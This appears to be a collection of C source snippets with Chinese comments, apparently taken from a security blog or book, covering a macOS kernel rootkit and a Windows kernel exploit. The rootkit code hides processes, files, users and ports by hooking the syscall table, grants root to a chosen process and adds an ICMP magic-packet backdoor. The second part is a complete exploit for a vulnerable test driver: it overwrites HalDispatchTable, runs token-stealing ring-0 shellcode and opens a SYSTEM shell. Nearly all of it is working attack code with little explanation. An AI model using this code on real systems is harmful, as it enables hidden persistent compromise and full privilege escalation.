/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
    struct proc* p;
    if(pid!=0){
	// lh.first 指向allproc链表中的第1个元素，而p_list.le_next指向下个proc结构
        for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next) 
        {
            if(pid == p->p_pid)
            {
                if(hidden_p_count < MAX_HIDDEN_PROCESS)
                {
                    hidden_p[hidden_p_count]=p;
                    hidden_p_count++;   
                    my_proc_list_lock();
                    LIST_REMOVE(p, p_list); 	// 移除p_list结构中关于p进程的元素
                    my_proc_list_unlock();
                }
            }
        }
    }
    return 0;
}

riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

  2 1078881          getdirentriesattr:entry 
  2 1363229         getdirentriesattr:return =1

struct sysent { /* system call table */
		int16_t sy_narg; /* number of args */
		int8_t sy_resv; /* reserved */
		int8_t sy_flags; /* flags */
		sy_call_t *sy_call; /* implementing function */
		sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
		sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
		int32_t sy_return_type; /* system call return types */
		uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
	};

riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define	SYS_getdirentries  196
#define	SYS_getdirentriesattr 222
#define	SYS_getdirentries64 344

if(nsysent){
    table = find_sysent();
    if(table){
        /* back up original syscall pointers */    
        org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; 	// 保存原系统函数地址
        org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call; 
        /* replace syscalls in syscall table */
        table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64;	// 替换原系统函数
        table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

struct dirent {
	__uint32_t d_fileno; 	// 节点号
	__uint16_t d_reclen;	// 目录项长度
	__uint8_t  d_type;	// 文件类型
	__uint8_t  d_namlen;	// 文件名
   #if __BSD_VISIBLE
   #define MAXNAMLEN 255
	char d_name[MAXNAMLEN+1]; // 文件名
   #else
	char d_name[255+1];	// 文件名
   #endif
}

/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
    int ret; 
    u_int64_t bcount = 0;
    u_int64_t btot = 0;
    size_t buffersize = 0;
    struct direntry *dirp;
    void *mem = NULL;
    int updated = 0;
    ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
    btot = buffersize = bcount = *retval;    // 函数返回的字节数
    if(bcount > 0)
    {
        MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK);  // 在内核空间分配bcount大小的内存
        if(mem == NULL)
            return(ret); 
        copyin(uap->buf, mem, bcount);  // 将用户空间数据拷贝到刚分配的内核空间
        dirp = mem;
        while(bcount > 0 && dirp->d_reclen > 0)
        {
            if(dirp->d_reclen > 7)
                // 搜索指定文件名
                if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
                {
                    char *next = (char *) dirp + dirp->d_reclen;    // 下一目录项
                    u_int64_t offset = (char *) next - (char *) mem ;	// 当前文件目录项大小
                    bcount -= dirp->d_reclen;   // 递减字节数
                    btot -= dirp->d_reclen;     // 递减目录项长度
                    bcopy(next,dirp,buffersize - offset);   // 覆盖指定文件的目录项，从而实现文件隐藏
                    updated = 1;
                    continue;
                }
            bcount -= dirp->d_reclen;
            dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
        }
        if(updated == 1)
        {
            copyout(mem,uap->buf,btot);     // 将修改后的数据返回给用户空间
            *retval = btot; 
        }
        FREE(mem,M_TEMP);   // 释放内核内存
    }
    return ret;
}

static int getroot(int pid)
{
    struct proc *rootpid;
    kauth_cred_t creds;
    rootpid = proc_find(pid);
    if(!rootpid)
        return 0;
    lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock);    // 设置互斥锁
    creds = rootpid->p_ucred;   // 进程属主
    creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
    rootpid->p_ucred = creds;
    lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock);  // 解锁
    return 0;
}

/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
    char buffer[MAXBUFFER];
    if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
       strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, rubilyn))	
            return(uap->nbyte);
    }
    if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, (char*)&k_port))	
            return(uap->nbyte);
	}
	if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
    {
        bzero(buffer, sizeof(buffer));
        copyin(uap->cbuf, buffer, sizeof(buffer)-1);
        if(my_strstr(buffer, (char*)&k_user))	
            return(uap->nbyte);
    }
    return org_write_nocancel(p,uap,retval);
}

 /* install IPv4 filter hook */
 ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下：

static struct ipf_filter ip_filter_ipv4 = {
	.name		= "rubilyn",
	.ipf_input	= ipf_input,
	.ipf_output	= ipf_output,
	.ipf_detach	= ipf_detach,
};

/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e"  // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
    char buf[IP_BUF_SIZE];
    struct icmp *icmp;
    if (!(data && *data))
		return 0;
	if (protocol != IPPROTO_ICMP)
		return 0;
    mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
    icmp = (struct icmp *)&buf;
    // 检测接收的icmp数据包中是否包含后门的特征数据，若是则调用KUNCExecute函数执行命令
    if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
    {
        my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
    }
    return 0;
}

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void ShowErrMsg() 
{ 
    LPVOID lpMsgBuf;
    DWORD dw = GetLastError(); 
	
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );
	
	printf("系统错误：%s",lpMsgBuf);
	
    LocalFree(lpMsgBuf);
  }
 
int main(void)
{
   HANDLE	hDevice;
   DWORD	length = 0;
   BOOL		ret;
   char g_InputBuffer[4] ="\x00\x00\x00\x00";	//输入缓冲区指针

   // 打开设备驱动
   hDevice = CreateFile("\\\\.\\ExploitMe",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
   
   if (hDevice == INVALID_HANDLE_VALUE)
   {
       ShowErrMsg();
       return EXIT_FAILURE;
   }
 
   ret = DeviceIoControl(hDevice,	// 驱动句柄
			0x8888A003,	// IoControlCode数值
			g_InputBuffer, 	// 输入缓冲区指针
			4, 		// 输入缓冲区字节数
			0x80808080, 	// 输出缓冲区指针
			4, 		// 输出缓冲区字节数
			&length, 	// 返回实际的数据字节数
			NULL);

   if(!ret)
		 ShowErrMsg();
   else
	   printf("DeviceIoControl Success!\n");
   return EXIT_SUCCESS;
}

***************************** exploit.h ***************************

#ifndef _EXPLOIT_H
#define _EXPLOIT_H

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define PAGE_SIZE 0xA00

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

#define NtCurrentProcess() ((HANDLE)0xFFFFFFFF)

#define KERNEL_NAME_LENGTH 0x0D

#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef ULONG NTSTATUS;

typedef struct _ANSI_STRING
{
    /* 0x00 */ USHORT Length;
    /* 0x02 */ USHORT MaximumLength;
    /* 0x04 */ PCHAR Buffer;
    /* 0x08 */
}
    ANSI_STRING,
  *PANSI_STRING,
**PPANSI_STRING;

typedef struct _UNICODE_STRING 
{
    /* 0x00 */ USHORT Length;
    /* 0x02 */ USHORT MaximumLength;
    /* 0x04 */ PWSTR Buffer;
    /* 0x08 */
}
    UNICODE_STRING,
  *PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
    /* 0x00 */ ULONG Length;
    /* 0x04 */ HANDLE RootDirectory;
    /* 0x08 */ PUNICODE_STRING ObjectName;
    /* 0x0C */ ULONG Attributes;
    /* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
    /* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
    /* 0x18 */
}
    OBJECT_ATTRIBUTES,
  *POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{ 
    union
    { 
        /* 0x00 */ NTSTATUS Status; 
        /* 0x00 */ PVOID Pointer; 
    }; 

    /* 0x04 */ ULONG Information;
    /* 0x08 */
}
    IO_STATUS_BLOCK,
  *PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
    /* 0x0000 */ ULONG Reserved[2];
    /* 0x0008 */ PVOID Base;
    /* 0x000C */ ULONG Size;
    /* 0x0010 */ ULONG Flags;
    /* 0x0014 */ USHORT Index;
    /* 0x0016 */ USHORT Unknown;
    /* 0x0018 */ USHORT LoadCount;
    /* 0x001A */ USHORT ModuleNameOffset;
    /* 0x001C */ UCHAR ImageName[256];
    /* 0x011C */
}
    SYSTEM_MODULE_INFORMATION,
  *PSYSTEM_MODULE_INFORMATION,
**PPSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX
{
    /* 0x00 */ ULONG ModulesCount;
    /* 0x04 */ SYSTEM_MODULE_INFORMATION Modules[0];
    /* 0xXX */
}
    SYSTEM_MODULE_INFORMATION_EX,
  *PSYSTEM_MODULE_INFORMATION_EX,
**PPSYSTEM_MODULE_INFORMATION_EX;

typedef enum _KPROFILE_SOURCE
{
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
    IN PVOID ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG Reserved
);

IMP_VOID RtlInitAnsiString
(
    IN OUT PANSI_STRING  DestinationString,
    IN PUCHAR SourceString
);

IMP_VOID RtlInitUnicodeString
(
    IN OUT PUNICODE_STRING DestinationString,
    IN PCWSTR SourceString
);

IMP_VOID RtlCreateUnicodeStringFromAsciiz
(
    OUT PUNICODE_STRING DestinationString,  
    IN PUCHAR SourceString 
);

IMP_VOID RtlFreeUnicodeString
(
    IN PUNICODE_STRING UnicodeString
);

IMP_VOID RtlFreeAnsiString
(
    IN PANSI_STRING AnsiString
);

IMP_SYSCALL LdrLoadDll
(
    IN PWSTR DllPath OPTIONAL,
    IN PULONG DllCharacteristics OPTIONAL,
    IN PUNICODE_STRING DllName,
    OUT PVOID *DllHandle
);

IMP_SYSCALL LdrUnloadDll
(
    IN PVOID DllHandle
);

IMP_SYSCALL LdrGetProcedureAddress
(
    IN PVOID DllHandle,
    IN PANSI_STRING ProcedureName OPTIONAL,
    IN ULONG ProcedureNumber OPTIONAL,
    OUT PVOID *ProcedureAddress
);

IMP_SYSCALL NtAllocateVirtualMemory
(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG AllocationType,
    IN ULONG Protect
);

IMP_SYSCALL NtFreeVirtualMemory
(
    IN HANDLE ProcessHandle,
    IN OUT PVOID *BaseAddress,
    IN OUT PULONG FreeSize,
    IN ULONG FreeType
);

IMP_SYSCALL NtQuerySystemInformation
(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
);

IMP_SYSCALL NtCreateFile
(
    OUT PHANDLE FileHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    IN PLARGE_INTEGER AllocationSize OPTIONAL,
    IN ULONG FileAttributes,
    IN ULONG ShareAccess,
    IN ULONG CreateDisposition,
    IN ULONG CreateOptions,
    IN PVOID EaBuffer OPTIONAL,
    IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
    IN HANDLE FileHandle,
    IN HANDLE Event OPTIONAL,
    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
    IN PVOID ApcContext OPTIONAL,
    OUT PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG IoControlCode,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
    IN BOOLEAN Alertable,
    IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtQueryIntervalProfile
(
    IN KPROFILE_SOURCE Source,
    OUT PULONG Interval
);

IMP_SYSCALL NtClose
(
    IN HANDLE Handle
);

#endif

******************************** END *************************************

******************************** exploit.c *******************************

#include "exploit.h"

#define IOCTL_CODE 0x8888A003

PVOID RtlAllocateMemory(
    IN ULONG Length)
{
    NTSTATUS NtStatus;

    PVOID BaseAddress = NULL;


    NtStatus = NtAllocateVirtualMemory(
                                       NtCurrentProcess(),
                                       &BaseAddress,
                                       0,
                                       &Length,
                                       MEM_RESERVE |
                                       MEM_COMMIT,
                                       PAGE_READWRITE);

    if(NtStatus == STATUS_SUCCESS)
    {
        RtlZeroMemory(BaseAddress, Length);
		
        return BaseAddress;
    }

    return NULL;
}

VOID RtlFreeMemory(
    IN PVOID BaseAddress)
{
    NTSTATUS NtStatus;

    ULONG FreeSize = 0;


    NtStatus = NtFreeVirtualMemory(
                                   NtCurrentProcess(),
                                   &BaseAddress,
                                   &FreeSize,
                                   MEM_RELEASE);
} 


char g_ressdtOutputBuffer[4]={0};//输出的缓冲区

DWORD g_uCr0=0;

NTSTATUS MyShellCode(    
					 ULONG InformationClass,
					 ULONG BufferSize,
					 PVOID Buffer,
					 PULONG ReturnedLength)
{  
	//关闭内核写保护
	__asm
	{  
		cli
		mov eax, cr0 
		mov g_uCr0,eax 
		and eax,0xFFFEFFFF 
		mov cr0, eax   
	}  
 
	//提权到SYSTEM
	__asm
	{
		mov eax,0xFFDFF124	// eax = KPCR (not 3G Mode) 
		mov eax,[eax]		//获取当前线程PETHREAD
		mov esi,[eax+0x220] //获取当前线程所属进程的PEPROCESS
		mov eax,esi			
searchXp: 
		mov eax,[eax+0x88]  
		sub eax,0x88		//获取进程链表中下一个进程的PEPROCESS
		mov edx,[eax+0x84]  //获取该进程的pid到edx
		cmp edx,0x4			//通过PID查找SYSTEM进程 
		jne searchXp 
		mov eax,[eax+0xc8]	//获取system进程的token 
		mov [esi+0xc8],eax	//修改当前进程的token  
	}
	//恢复内核写保护
	_asm
	{
		sti 
		mov eax, g_uCr0
		mov cr0, eax 
	}	  
	return 0;
}  

void ShowAlertMsg() 
{ 
    LPVOID lpMsgBuf;
    DWORD dw = GetLastError(); 
	
    FormatMessage(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | 
        FORMAT_MESSAGE_FROM_SYSTEM,
        NULL,
        dw,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPTSTR) &lpMsgBuf,
        0, NULL );
	
	printf("%s",lpMsgBuf);
	
    LocalFree(lpMsgBuf);
  }

int __cdecl main(int argc, char **argv)
{
    NTSTATUS NtStatus;

    HANDLE DeviceHandle;
    ULONG ReturnLength = 0;
	char g_InputBuffer[4] ="\x00\x00\x00\x00";	
    
    ULONG ImageBase;
    PVOID MappedBase;
    UCHAR ImageName[KERNEL_NAME_LENGTH];
    ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
    PVOID HalDispatchTable;
    PVOID xHalQuerySystemInformation;
    PVOID MmUserProbeAddress;

    ULONG ShellCodeSize = PAGE_SIZE;	// 此值不可过高，否则可能导致在复制shellcode时引发异常，
										// 因为复制的内存过广，可能有部分是不可写的，此时就会引发错误！
    PVOID ShellCodeAddress;
    PVOID BaseAddress = NULL;

    UNICODE_STRING DeviceName;
    UNICODE_STRING DllName;
    ANSI_STRING ProcedureName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
    LARGE_INTEGER Interval;

    ULONG TextColor;
    
    ///////////////////////////////////////////////////////////////////////////////////////////////

    system("cls");

	// 获取内核模块列表数据大小到ReturnLength
    NtStatus = NtQuerySystemInformation(
                                        SystemModuleInformation,
                                        ModuleInformation,
                                        ReturnLength,
                                        &ReturnLength);
        
    if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
    {
        ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
        
        ModuleInformation = RtlAllocateMemory(ReturnLength);	// 申请内存用于存放内核模块列表数据

        if(ModuleInformation)
        {
			// 获取内核模块列表数据到ModuleInformation
            NtStatus = NtQuerySystemInformation(
                                                SystemModuleInformation,
                                                ModuleInformation,
                                                ReturnLength,
                                                NULL);

            if(NtStatus == STATUS_SUCCESS)
            {
				// 从内核模块列表中获取内核第一个模块的基址和名称
                ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);	// 获取模块基址

                RtlMoveMemory(
                              ImageName,	// 获取模块名称
                              (PVOID)(ModuleInformation->Modules[0].ImageName +
                              ModuleInformation->Modules[0].ModuleNameOffset),
                              KERNEL_NAME_LENGTH);

                printf(" **************************************************************************\n"
                       " * ImageBase - 0x%.8X                                                      \n"
                       " * ImageName - %s                                                    \n",
                       ImageBase,
                       ImageName);

                RtlFreeMemory(ModuleInformation);	// 释放存放内核模块列表的内存

                RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);	 // 获取内核模块的UnicodeString

				// 加载内核模块到本地进程
                NtStatus = LdrLoadDll(
                                      NULL,                // DllPath
                                      &DllCharacteristics, // DllCharacteristics
                                      &DllName,            // DllName
                                      &MappedBase);        // DllHandle
				printf(	" * \n"
						" * LdrLoadDLL:");
				ShowAlertMsg();

                RtlInitAnsiString(&ProcedureName, "HalDispatchTable"); 

				// 获取内核HalDispatchTable 函数表地址
                NtStatus = LdrGetProcedureAddress(
                                                  (PVOID)MappedBase,          // DllHandle
                                                  &ProcedureName,             // ProcedureName
                                                  0,                          // ProcedureNumber OPTIONAL
                                                  (PVOID*)&HalDispatchTable); // ProcedureAddress
				printf(" * LdrGetProcedureAddress:");
				ShowAlertMsg();

                (ULONG)HalDispatchTable -= (ULONG)MappedBase;
                (ULONG)HalDispatchTable += ImageBase;

				// HalDispatchTable 地址 + 4 = HalQuerySystemInformation 函数地址
                (ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);  

                printf(" *                                                                            \n"
                       " * HalDispatchTable - 0x%.8X                                               \n"
                       " * xHalQuerySystemInformation - 0x%.8X                                     \n",
                       HalDispatchTable,
                       xHalQuerySystemInformation);

				// 卸载进程中的内核模块
                LdrUnloadDll((PVOID)MappedBase);


                RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

                ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
                ObjectAttributes.RootDirectory = 0;
                ObjectAttributes.ObjectName = &DeviceName;
                ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
                ObjectAttributes.SecurityDescriptor = NULL;
                ObjectAttributes.SecurityQualityOfService = NULL;
				
				// 获取驱动设备句柄
                NtStatus = NtCreateFile(
                                        &DeviceHandle,     // FileHandle
                                        FILE_READ_DATA |
                                        FILE_WRITE_DATA,   // DesiredAccess
                                        &ObjectAttributes, // ObjectAttributes
                                        &IoStatusBlock,    // IoStatusBlock
                                        NULL,              // AllocationSize OPTIONAL
                                        0,                 // FileAttributes
                                        FILE_SHARE_READ |
                                        FILE_SHARE_WRITE, // ShareAccess
                                        FILE_OPEN_IF,     // CreateDisposition
                                        0,                // CreateOptions
                                        NULL,             // EaBuffer OPTIONAL
                                        0);               // EaLength
				printf(	" * \n"
						" * NtCreateFile:");
				ShowAlertMsg();

				// 令输出缓冲区指针指向HalQuerySystemInformation函数地址
				*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;
 

                NtStatus = NtDeviceIoControlFile(
                                                 DeviceHandle,			// FileHandle
                                                 NULL,					// Event
                                                 NULL,					// ApcRoutine
                                                 NULL,					// ApcContext
                                                 &IoStatusBlock,		// IoStatusBlock
                                                 IOCTL_CODE,			// IoControlCode
                                                 g_InputBuffer,			// InputBuffer
                                                 4,						// InputBufferLength
                                                 g_ressdtOutputBuffer,  // OutputBuffer
                                                 4);					// OutBufferLength
				printf(" * NtDeviceIoControlFile:");
				ShowAlertMsg();

                ShellCodeAddress = (PVOID)sizeof(ULONG);

                NtStatus = NtAllocateVirtualMemory(
                                                   NtCurrentProcess(),      // ProcessHandle
                                                   &ShellCodeAddress,       // BaseAddress
                                                   0,                       // ZeroBits
                                                   &ShellCodeSize,          // AllocationSize
                                                   MEM_RESERVE | 
                                                   MEM_COMMIT |
                                                   MEM_TOP_DOWN,            // AllocationType
                                                   PAGE_EXECUTE_READWRITE); // Protect
				printf(" * NtAllocateVirtualMemory:");
				ShowAlertMsg();

                RtlCopyMemory(
                              ShellCodeAddress,
                              (PVOID)MyShellCode,
                              ShellCodeSize);

				printf(" * RtlMoveMemory:");
				ShowAlertMsg();

				// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
                NtStatus = NtQueryIntervalProfile(
                                                  ProfileTotalIssues, // Source
                                                  NULL);              // Interval
				printf(" * NtQueryIntervalProfile:");
				ShowAlertMsg();
  
                NtStatus = NtClose(DeviceHandle);

				printf(" * NtClose:");
				ShowAlertMsg();
				printf(" **************************************************************************\n");

				WinExec("cmd.exe" , SW_SHOW);
				printf(" * Exploit Successful！\n\n");

				getchar();

            }
        }
    }
    
    return FALSE;
}

********************************** END ********************************************